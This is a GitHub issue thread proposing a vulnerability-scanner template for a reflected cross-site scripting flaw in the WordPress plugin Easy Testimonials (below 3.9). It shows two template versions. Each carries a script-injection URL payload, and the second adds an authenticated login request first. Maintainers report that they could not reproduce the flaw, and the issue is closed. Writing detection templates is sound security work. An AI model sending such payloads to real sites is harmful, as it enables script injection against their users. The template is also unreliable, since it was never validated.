Easy Testimonials < 3.9 - Reflected Cross-Site Scripting

[akincibor]

id: easy-testimonials-xss

info:
  name: Easy Testimonials < 3.9 - Reflected Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: The plugin, when used along the Pro version, does not escape an URL before outputting it back in an attribute, leading to Reflected Cross-Site Scripting.
  reference:
    - https://wpscan.com/vulnerability/571fc466-98c5-4f11-9ac3-0f826f3d9253
  tags: wp-plugin,xss,wp,wordpress

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin.php?page=easy_testimonials_pro_privacy_notice&a"><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

[princechaddha]

Hi @akincibor, Thank you for taking the time to create this issue and for contributing to this project 🍻

If possible can you please provide us with the -debug data as we tried setting up the vulnerable environment for this template but couldn't able to validate the template? Thanks

[daffainfo]

@princechaddha here is the updated template

id: easy-testimonials-xss

info:
  name: Easy Testimonials < 3.9 - Reflected Cross-Site Scripting
  author: Akincibor,daffainfo
  severity: medium
  description: The plugin, when used along the Pro version, does not escape an URL before outputting it back in an attribute, leading to Reflected Cross-Site Scripting.
  reference:
    - https://wpscan.com/vulnerability/571fc466-98c5-4f11-9ac3-0f826f3d9253
  tags: wp-plugin,xss,wp,wordpress

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check
        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=easy_testimonials_pro_privacy_notice&a%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

[DhiyaneshGeek]

@akincibor

Kindly provide debug data, we couldn't replicate the issue on the vulnerable version

[akincibor]

Hi, I'm closing this issue.